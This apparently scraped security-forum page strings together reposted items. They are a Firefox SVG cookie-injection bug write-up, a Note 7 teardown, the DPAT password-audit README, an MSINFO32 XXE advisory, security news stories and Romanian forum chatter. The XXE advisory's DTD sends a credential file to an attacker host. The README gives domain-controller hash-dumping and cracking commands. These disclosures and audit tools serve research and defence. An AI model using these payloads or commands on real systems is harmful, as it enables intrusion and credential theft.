r='100'> </circle> <foreignObject> <html xmlns='http://www.w3.org/1999/xhtml'> <meta http-equiv='Set-Cookie' content='ppp=qqq' /> </html> </foreignObject> </svg> The hosting domain now has a cookie ppp=qqq. The next step was to try, what will happen if another domain is loading this SVG file: // Domain: http://example.com <!DOCTYPE html> <body> <img src="http://attacker.com/cookie.svg"> </body> Sadly the cookie was set for attacker.com, not for example.com. Redirects + data uris The final trick to make things work was to use the data: protocol handler and redirects. Assume the following code on the domain example.com <!DOCTYPE html> <body> <img src="http://attacker.com/cookie"> </body> The webserver at attacker.com uses the following response code: HTTP 302 Found Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg> As soon as I opened this test case in Firefox, a cookie was set for example.com. This can introduce a lot of different vulnerabilities for web pages, which allow to include images from external/third party sites. Another issue popped up during the investigation of the issue via the firefox team, which can be read here as soon it is public: https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20 The bug bounty decision is still in progress. I have to thank my Cure53 mates, who helped playing with this vulnerability (especially Masato) Posted by Alex Inführ at 2:15 AM Sursa: https://insert-script.blogspot.ro/2016/12/firefox-svg-cross-domain-cookie.html

Aggressive design caused Samsung Galaxy Note 7 battery explosions December 2, 2016 by Anna Shedletsky Instrumental technology helps hardware companies find and fix issues caused by workmanship, part quality, process, and design. Our system is a combination of hardware and intelligent software that enables engineering teams to take control of their data. In September, the first reports of Samsung Galaxy Note 7 batteries exploding hit social media. At first, Samsung identified the issue as one relating to the lithium polymer battery manufacturing process by Samsung SDI, where too much tension was used in manufacturing, and offered to repair affected phones. But several weeks later, some of the batteries in those replacement units also exploded once they were in the hands of customers -- causing Samsung to make the bold decision to not only recall everything, but to cancel the entire product line. This is every battery engineer’s nightmare. As hardware engineers ourselves, Sam and I followed the story closely. Different sources at Samsung reported different reasons for why the batteries shorted: tension in the cell fabrication, squeezing the layers too much during processing, poorly positioned insulation tape, etc. These theories all suggest a battery part-level issue, likely due to Samsung pushing the manufacturing parameters a little too far in order to make the highest capacity battery in the smallest package. But, if it was only a battery part issue and could have been salvaged by a re-spin of the battery, why cancel the product line and cede several quarters of revenue to competitors? We believe that there was more in play: that there was a fundamental problem with the design of the phone itself. Teardown With a fire extinguisher at the ready, we used an Instrumental inspection station to investigate why Samsung deemed the Galaxy Note 7 unsalvageable. We acquired a Galaxy Note 7 and with a fire extinguisher close at hand, tore it down. We used an Instrumental station to document the process. What we found was surprising: the design can compress the battery even during normal operation (see footnote). Why does this matter? The Note 7’s lithium-polymer battery is a flattened “jelly-roll” consisting of a positive layer made of lithium cobalt oxide, a negative layer made of graphite, and two electrolyte-soaked separator layers made of polymer. The separator layers allow ions (and energy) to flow between the positive and negative layers, without allowing those layers to touch. If the positive and negative layers ever do touch, the energy flowing goes directly into the electrolyte, heating it, which causes more energy to flow and more heat -- it typically results in an explosion. Compressing the battery puts pressure on those critical polymer separator layers that keep the battery safe. Samsung stated that these separator layers may have been thin to start with due to aggressive manufacturing parameters. Add some pressure due to normal mechanical swell from the battery or accumulated stress through the back cover (e.g. from being sat on in a back pocket), and that pressure could be enough to squeeze the thin polymer separator to a point where the positive and negative layers can touch, causing the battery to explode. What’s interesting is that there is evidence in the design of an intellectual tension between safety and pushing the boundaries. Samsung engineers designed out all of the margin in the thickness of the battery, which is the direction where you get the most capacity gain for each unit of volume. But, the battery also sits within a CNC-machined pocket -- a costly choice likely made to protect it from being poked by other internal components. Looking at the design, Samsung engineers were clearly trying to balance the risk of a super-aggressive manufacturing process to maximize capacity, while attempting to protect it internally. A high resolution image from an Instrumental station shows the tight XY clearances to the battery. It's also possible to see the pocket formed by aluminum walls on all sides, which prevents the rough edges of the PCB from touching the battery pouch. Pushing the boundaries While we were doing the teardown, Sam wondered, “Samsung engineers are smart. Why would they design it like this?” The answer isn’t a mystery: innovation means pushing the boundaries. For something that is innovative and new, you design the best tests that you can think of, and validate that the design is okay through that testing. Battery testing takes a notoriously long time (as long as a year for certain tests), and thousands of batteries need to be tested to get significant results. It’s possible that Samsung’s innovative battery manufacturing process was changing throughout development, and that the newest versions of the batteries weren’t tested with the same rigor as the first samples. If the Galaxy Note 7 wasn’t recalled for exploding batteries, Sam and I believe that a few years down the road these phones would be slowly pushed apart by mechanical battery swell. A smaller battery using standard manufacturing parameters would have solved the explosion issue and the swell issue. But, a smaller battery would have reduced the system’s battery life below the level of its predecessor, the Note 5, as well as its biggest competitor, the iPhone 7 Plus. Either way, it’s now clear to us that there was no competitive salvageable design. The design and validation process for a new product is challenging for everyone. In this case, Samsung took a deliberate step towards danger, and their existing test infrastructure and design validation process failed them. They shipped a dangerous product. That this is possible at one of the top consumer electronic companies in the world is humbling -- and demonstrates the need for better tools. Instrumental is building them. If you are interested in seeing what Instrumental technology can do for your product and team, contact us for a demo. Footnote: When batteries are charged and discharged, chemical processes cause the lithium to migrate and the battery will mechanically swell. Any battery engineer will tell you that it’s necessary to leave some percentage of ceiling above the battery, 10% is a rough rule-of-thumb, and over time the battery will expand into that space. Our two-month old unit had no ceiling: the battery and adhesive was 5.2 mm thick, resting in a 5.2 mm deep pocket. There should have been a 0.5 mm ceiling. This is what mechanical engineers call line-to-line -- and since it breaks such a basic rule, it must have been intentional. It is even possible that our unit was under pressure when we opened it. Sursa: https://www.instrumental.ai/blog/2016/12/1/aggressive-design-caused-samsung-galaxy-note-7-battery-explosions

Domain Password Audit Tool (DPAT) This is a python script that will generate password use statistics from password hashes dumped from a domain controller and a password crack file such as oclHashcat.pot generated from the oclHashcat tool during password cracking. The report is an HTML report with clickable links. If you would like to click through an example report you can do so here. You can run the python script at follows. dpat.py -n customer.ntds -c oclHashcat.pot -g "Domain Admins.txt" "Enterprise Admins.txt" Note that the group lists at the end (-g "Domain Admins.txt "Enterprise Admins.txt") are optional. Try this out on the example files provied in the sample_data folder of this project. The sample data was built from census data for common first and last names and passwords from the well known rockyou list. Your customer.ntds file should be in this format: domain\username:RID:lmhash:nthash::: You can get this file by first dumping the password hashes from your domain controller by executing the following command in an administrative command prompt on a domain controller. Just make sure you have enough disk space to store the output in c:\temp. The amount of space needed will be slightly larger than the size of the ntds.dit file that is currently on the disk, as this performs a backup of that file and some registry settings. ntdsutil "ac in ntds" "ifm" "cr fu c:\temp" q q You can then turn this output into the needed format using secretsdump.py secretsdump.py -system registry/SYSTEM -ntds Active\ Directory/ntds.dit LOCAL -outputfile customer The command above will create a file called "customer.ntds" which you will use with this tool as well as for password cracking. Your oclHashcat file should be in this format: nthash:password Or for LM Hashes: lmhashLeftOrRight:leftOrRightHalfPasswordUpcased The DPAT tool also supports output from John the Ripper (same format as oclHashcat.pot but prepended with $NT$ or $LM$) The optional "-g" option is followed by a list of any number of files containing lists of users who are in the given group such as "Enterprise Admins" or "Domain Admins". The file can be in the format output by the PowerView PowerShell script as shown in the example below: Get-NetGroupMember -GroupName "Domain Admins" > "Domain Admins.txt" or to read a group from another domain use something like the following (note that name of the other domain and the domain controller can be obtained with Get-NetForestDomain) Get-NetGroupMember -GroupName "Enterprise Admins" -Domain "some.domain.com" -DomainController "DC01.some.domain.com" > "Enterprise Admins.txt" Alternatively, the group files can simply be a list of users, one per line, in the following format: domain\username The Domain Password Audit Tool also has the handy feature to finish cracking the LM hashes for any hashes where the NT hash was not cracked. This asssumes that you have used oclHashcat to brute force all 7 character passwords with the following command: ./oclHashcat64.bin -m 3000 -a 3 customer.ntds -1 ?a ?1?1?1?1?1?1?1 --increment Or to crack LM hashes with John the Ripper instead: john --format=LM customer.ntds To see all available DPAT options use the '-h' or '--help' option usage: dpat.py [-h] -n NTDSFILE -c CRACKFILE [-o OUTPUTFILE] [-d REPORTDIRECTORY] [-w] [-s] [-g [GROUPLISTS [GROUPLISTS ...]]] This script will perfrom a domain password audit based on an extracted NTDS file and password cracking output such as oclHashcat. optional arguments: -h, --help show this help message and exit -n NTDSFILE, --ntdsfile NTDSFILE NTDS file name (output from SecretsDump.py) -c CRACKFILE, --crackfile CRACKFILE Password Cracking output in the default form output by oclHashcat, such as oclHashcat.pot -o OUTPUTFILE, --outputfile OUTPUTFILE The name of the HTML report output file, defaults to _DomainPasswordAuditReport.html -d REPORTDIRECTORY, --reportdirectory REPORTDIRECTORY Folder containing the output HTML files, defaults to DPAT Report -w, --writedb Write the SQLite database info to disk for offline inspection instead of just in memory. Filename will be "pass_audit.db" -s, --sanitize Sanitize the report by partially redacting passwords and hashes. Prepends the report directory with "Sanitized - " -g [GROUPLISTS [GROUPLISTS ...]], --grouplists [GROUPLISTS [GROUPLISTS ...]] The name of one or multiple files that contain lists of usernames in particular groups. The group names will be taken from the file name itself. The username list must be in the same format as found in the NTDS file such as some.ad.domain.com\username. Example: -g "Domain Admins.txt" "Enterprise Admins.txt" Sponsors Sursa: https://github.com/clr2of8/DPAT

[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt [+] ISR: ApparitionSec Vendor: ================= www.microsoft.com Product: ========================== Windows System Information MSINFO32.exe v6.1.7601 Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system components, and software environment. Parameters FileName : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file. Vulnerability Type: =================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack which can potentially allow remote attackers to gain access to and exfiltrate files from the victims computer if they open a malicious ".nfo" file via remote share / USB etc. Upon open the file user will see error message like "System Information is unable to open this .nfo file. The file might be corrupt etc.. Tested Windows 7 SP1 Exploit code(s): =============== Access and exfiltrate Windows "msdfmap.ini" file as trivial POC. This file contains credentials for MS ADO Remote Data Services. 1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd) 2) "payload.dtd" <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>"> %all; 3) "FindMeThatBiatch.nfo" (corrupt .NFO file) <?xml version="1.0"?> <!DOCTYPE HYP3RLINX [ <!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini"> <!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32 opens... attacker gets files. OR open via Windows CL: c:\>msinfo32 \\REMOTE-SHARE\FindMeThatBiatch.nfo Disclosure Timeline: ====================================== Vendor Notification: September 4, 2016 Vendor Reply "not meet the bar for security servicing": September 7, 2016 December 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx Sursa: https://www.exploit-db.com/exploits/40864/

INFILTRATE 2016: Genetic Malware - Travis Morrow / Josh Pitts from Immunity VideosPRO 3 months ago

Hacking is legal again finally (sometimes) BY CAMERON CAMP POSTED 6 DEC 2016 - 02:00PM Go ahead and hack your car, that’s fine now. Go ahead and hack the Department of Defense, that’s okay too under new policies. This doesn’t mean you have a license to do unlimited badness; it means the US authorities have finally become more welcoming to research efforts to uncover bugs that could potentially create holes for the bad guys. You won’t get sued (unless you do something of epic stupidity). It wasn’t always this way. For years, auto enthusiasts have customized their cars for better performance. Nowadays, those same cars are driven by computers that control everything. But until recently, laws technically prohibited them from adjusting fuel management, for example, to increase performance. Why? The manufacturers argued they were hacking software the manufacturers own and that the car owners only have a license to use. It was a sort of DRM (Digital Rights Management) for the car you bought. This meant you may own the car and have a right to modify it, but you couldn’t legally touch the software that ran it all. UNTIL RECENTLY, YOU HAD THE RIGHT TO MODIFY A CAR THAT YOU OWNED, BUT YOU COULDN’T LEGALLY TOUCH THE SOFTWARE THAT RAN IT Not so anymore. This came to a head in recent years when tractor owners attempted to modify the computer software on their high-priced farming machines and fell afoul of the manufacturer’s attorneys. The manufacturer argued the tractor owners only had a license to use under certain conditions, but not to modify. The owners argued the software didn’t do what they wanted, and limited the use of the vehicle they purchased. Some went elsewhere and bought competing equipment. Some kept hacking. It’s hard to imagine a band of rogue farmers slinking around the farm with hacked laptops bent on doing evil deeds though. They just wanted their tractors to work as they thought was necessary. The jumping off point – legally – were laws that sought to keep copyright infringers from stealing works like music. So, too, the automotive manufacturers jumped on the legal bandwagon to hopefully prevent people from modifying their cars and tractors, possibly causing problems. But what applies to music seems clumsy at best when applied to hacking the rest of the software that drives your life (and tractor). But then researchers who were working for the good guys couldn’t really expose flaws without fear of reprisal. By far, the majority of people looking for flaws in their own equipment were not interested in harming their own equipment or themselves. They wanted to improve things. But they also didn’t want to get sued while doing good deeds, so the motivation to help was low. But what about the bad guys? The scammers – an ever-present threat – were free to test as much as they liked. And without researchers trying to help, millions of potential threat vectors wouldn’t be tested or responsibly disclosed, resulting in millions of potential attacks that could hamper devices in droves. Increasingly, progressive software companies welcome researchers, and even add to the interest by offering rewards for willing researchers bent on uncovering flaws. These “bug bounty” programs have been amazingly successful, sometimes helping the software companies uncover hundreds of flaws before they are exploited. Not so much with the car manufacturers. Until now, you were unlikely to receive a warm welcome if you reported a flaw in the software that runs your car, and you just might get a legal letter. But now some manufacturers are relaxing that approach by rolling out bug submission processes. Basically, companies like General Motors are now enlisting your help as a researcher. That’s great news for us all. Hacking the Fed If you were nervous about hacking your car, you were mortified to hack the U.S. Government (unless you’re a scammer, then it might be your day job). Auto manufacturers might send nasty letters, but probably not black vans to haul you off. Not so with the government. Notoriously devoid of a sense of humor, the fed doesn’t take kindly to exploit attempts which you feel are really interesting and novel. Until now. Seemingly, the bug bounty wisdom has shined its light on the Fed. What’s the result? If you abide by their rules of engagement, you can fix holes for the greater good that will help protect us all. That’s not to say their efforts are perfect, and you should just go nuts and port scan the whole government and start hammering, but if you exercise some modicum of common sense (and maybe read the rules of engagement), they want to hear from you. The U.S. Army does too. Seems the word is getting around that not only can this help to keep us all safe, you may also show up on their radar as a researcher interested in helping the Army, and not ending up in the crosshairs of a very large adversary in the process. It’s a welcome respite from the draconian views of only a few years ago, when it felt like taking your life in your own hands if you endeavored to explore the world for vulnerabilities and report them. How’s it working? At least one auto manufacturer is reporting hundreds of flaws discovered, which they then can fix, and all without hiring a raft of expensive (and difficult to find and hire) researchers. Is it a perfect system? No. But nothing is. It is, however, a good start and a nice gesture to the community. So now you can come clean about hacking your car, even if it runs much worse since you started. Sursa: http://www.welivesecurity.com/2016/12/06/hacking-legal-finally-sometimes/

[Video] How to Hack a Credit Card in 6 Seconds, Experts Reveal Monday, December 05, 2016 Swati Khandelwal As India attempts an upgrade to a cashless society, cyber security experts have raised serious concerns and revealed how to find credit card information – including expiration dates and CVV numbers – in just 6 Seconds. And what's more interesting? The hack uses nothing more than guesswork by querying multiple e-commerce sites. In a new research paper entitled "Does The Online Card Payment Landscape Unwittingly Facilitate Fraud?" published in the academic journal IEEE Security & Privacy, researchers from the University of Newcastle explains how online payments remain a weak spot in the credit card security which makes it easy for fraudsters to retrieve sensitive card information. The technique, dubbed Distributed Guessing Attack, can circumvent all the security features put in place to protect online payments from fraud. The similar technique is believed to be responsible for the hack of thousands of Tesco customers in the U.K last month. The issue relies on the Visa payment system, where an attacker can guess and attempt all possible permutations and combinations of expiration dates and CVV numbers on hundreds of websites. Researchers discovered two weaknesses in the way online transactions are verified using the Visa payment system. They are as follows: Online payment systems do not detect multiple incorrect payment requests if they're performed across multiple sites. They also allow a maximum of 20 attempts per card on each site. Web sites do not run checks regularly, varying the card information requested. Newcastle University PhD candidate Mohammed Ali says neither weakness is alone too severe, but when used together and exploited properly, a cyber criminal can recover a credit card's security information in just 6 seconds, presenting "a serious risk to the whole payment system." Here's how the attack works: The attack is nothing but a very clever brute force attack that works against some of the most popular e-commerce sites. So, instead of brute-forcing just one retailer's website that could trigger a fraud detection system due to incorrect guesses or lock the card, the researchers spread out guesses for the card's CVC number across multiple sites with each attempt narrowing the possible combinations until a valid expiration dates and CVV numbers are determined. The video demonstration shows that it only takes 6 seconds for a specially designed tool to reveal a card's secure code. First, an attacker needs a card's 16-digit number, which can be obtained either from black-market websites for less than $1, or from a smartphone equipped with a near-field communication (NFC) reader to skim them. Once a valid 16-digit number is obtained, the hacker use web bots to brute force three-digit card verification value (or CVV) and expiration date to hundreds of retailers at once. The CVV takes a maximum of 1,000 guesses to crack it and the expiry date takes no more than 60 attempts. The bots then work to obtain the billing address, if required. The paper suggests the whole attack can be carried out in just 6 seconds. "These experiments have also shown that it is possible to run multiple bots at the same time on hundreds of payment sites without triggering any alarms in the payment system," researchers explain in the paper. "Combining that knowledge with the fact that an online payment request typically gets authorized within two seconds makes the attack viable and scalable in real time. As an illustration, with the website bot configured cleverly to run on 30 sites, an attacker can obtain the correct information within four seconds." The attack works against Visa card customers, as the company does not detect multiple attempts to use a card across its network, while MasterCard detects the brute force attack after fewer than 10 attempts, even when the guesses are spread across multiple websites. How to Protect yourself? The team investigated the Alexa top-400 online merchants’ payment websites and found that the current payment platform facilitates the distributed guessing attack. The researchers contacted the 36 biggest websites against which they ran their distributed card number-guessing attack and notified them of their findings. As a result of the disclosure, eight sites have already changed their security systems to thwart the attacks. However, the other 28 websites made no changes despite the disclosure. For Visa, the best way to thwart the distributed card number-guessing attack is to adopt a similar approach to MasterCard and lock a card when someone tries to guess card details multiple times, even tried across multiple websites. For customers, avoid using Visa credit or debit cards for making online payments, always keep an eye on your statements, and keep spending limit on your Visa card as low as possible. Sursa: https://thehackernews.com/2016/12/credit-card-hacking-software_5.html

Expedia IT guy made $300,000 by hacking own execs by Matt Egan @mattmegan5December 6, 2016: 8:25 AM ET Watch this hacker break into a company A former Expedia IT professional admitted on Monday to illegally trading on secrets he discovered by hacking his own company's senior executives. Jonathan Ly stole passwords and infiltrated devices of Expedia's (EXPE) chief financial officer and head of investor relations, allowing him to make a series of "highly profitable" trades in stock options that scored him $331,000, according to prosecutors. Ly, a senior IT technician in Expedia's Hotwire.com division, pleaded guilty to securities fraud in U.S. District Court in Seattle. The 28-year-old will have to repay the illegal profits he made from insider trading. Prosecutors say that between 2013 and 2016, Ly exploited his ability to remotely access electronic devices used by Expedia execs to access documents and emails containing confidential information. For instance, the SEC said Ly targeted information prepared by Expedia's head of investor relations summarizing how the market may react to certain announcements. Access to that kind of secret info before it's publicly released can be very valuable, given how news can cause stocks to move dramatically. U.S. Attorney Annette Hayes said in a statement that an FBI investigation revealed that Ly "used his employer's networks to facilitate a get-rich-quick scheme." Ly's lawyer, John Runfola, said his client is "deeply sorry" and noted that he is a young man who came from an "impoverished background." "He has certainly learned his lesson," Runfola told CNNMoney. According to the authorities, the insider trading scheme continued even after he left Expedia last year. They say Ly kept an Expedia laptop without the knowledge of his company and continued to access devices and email accounts used by senior company execs to trade. Prosecutors say Ly even made it appear that other Expedia employees were the ones using the devices. Ly faces potential jail time as securities fraud is punishable by up to 25 years in prison and a $250,000 fine. He is scheduled to be sentenced on February 28, 2017. Hayes said Expedia quickly contacted the FBI when it discovered the scheme. Expedia said in a statement to CNNMoney that it detected the intrusion by using "enhanced monitoring practices we had in place." The company said it "worked closely with law enforcement authorities to identify, track pursue and put a halt to these activities." Ly has agreed to repay Expedia for the $81,592 the company spent investigating the computer intrusion. The SEC settlement, subject to court approval, requires Ly to pay $375,907, including interest. Jay Tabb Jr., the FBI special agent in charge, said this case was "particularly egregious" because Ly violated the "trust of the public" as well as "violated the privacy of fellow employees." CNNMoney (New York)First published December 5, 2016: 4:51 PM ET Sursa: http://money.cnn.com/2016/12/05/technology/expedia-hack-insider-trading-sec/index.html

Linux Fundamentals Paul Cobbaut Publication date 2015-05-24 CEST Abstract This book is meant to be used in an instructor-led training. For self-study, the intent is to read this book next to a working Linux computer so you can immediately do every subject, practicing each command. This book is aimed at novice Linux system administrators (and might be interesting and useful for home users that want to know a bit more about their Linux system). However, this book is not meant as an introduction to Linux desktop applications like text editors, browsers, mail clients, multimedia or office applications. More information and free .pdf available at http://linux-training.be . Download: http://linux-training.be/linuxfun.pdf

Exploiting 64-bit IE on Windows 8.1 – The Pwn2Own Case Study - Presented By Yuki Chen and Linan Hao

Am facut update la 4.1.17: https://invisionpower.com/release-notes/ Postati aici daca sunt probleme. Pana acum au fost, de aceea nu merge forumul.

Vezi astea: - http://www.macworld.co.uk/how-to/iosapps/how-downgrade-ios-10-how-go-back-ios-9-reinstall-ios-9-3522302/ - http://www.howtogeek.com/230144/how-to-downgrade-to-an-older-version-of-ios-on-an-iphone-or-ipad/ - https://fieldguide.gizmodo.com/how-to-downgrade-ios-9-3-to-an-older-version-1767689167 PS: Nu am incercat dar e posibil sa incerc (daca e nevoie, sper sa nu fie) saptamana viitoare.

E normal, va apare template-ul pana se fac request-urile care sa obtina datele. @Gecko poti pune un "Loading" ceva, generic, pe toata pagina, pana se incarca?

Nu stiu ce e cu acel site

Cate ceva legat de vulnerabilitatile web "clasice", am scris eu acum multi ani, poate iti e util: http://dgaspcsm.ro/Vulnerabilitati Web si securizarea.pdf Pentru altele, vezi OWASP Testing Guide.